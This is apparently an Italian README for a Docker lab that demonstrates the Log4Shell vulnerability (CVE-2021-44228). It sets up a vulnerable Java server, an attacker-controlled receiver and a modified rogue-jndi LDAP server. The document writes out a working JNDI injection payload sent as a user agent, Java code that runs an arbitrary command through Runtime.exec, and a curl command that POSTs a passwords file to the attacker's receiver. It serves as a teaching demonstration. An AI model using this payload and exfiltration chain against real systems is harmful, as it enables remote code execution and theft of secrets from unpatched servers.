
Una semplice dimostrazione di CVE-2021-44228 per trasferire dati da un server vulnerabile a un servizio web controllato da un attaccante. Tutti i componenti coinvolti sono eseguiti tramite Docker.
Questo è un server Java standard che funge da vittima. Esegue:
8u111Questo server è VULNERABILE con questa configurazione.
Informazioni aggiuntive:
/logging (GET) registra lo user agent usando Log4J/foo/passwords.txt esiste (il bersaglio dell'attaccante)Contenuto di passwords.txt:
my secret
Questo è un server Java standard che funge da raccoglitore di dati dell'attaccante. Esegue:
17Informazioni aggiuntive:
receiver (POST) registra il corpo della richiestaQuesto è un server LDAP basato su rogue-jndi. La sua classe ExportJava è stata modificata in modo che i comandi passati tramite il flag -c vengano eseguiti.
public ExportObject() {
try {
Runtime.getRuntime().exec(Config.command);
} catch(Exception e) {
e.printStackTrace();
}
}
Quando richiesto dal server vulnerabile, risponderà con una classe che esegue il seguente comando quando viene istanziata:
curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt
Questo invierà effettivamente il contenuto di /foo/passwords.txt all'endpoint predisposto del ricevitore malintenzionato.
./build.sh
./start.sh
curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
docker logs --timestamps docker_malicious-receiver_1
passwords.txt del server../stop.sh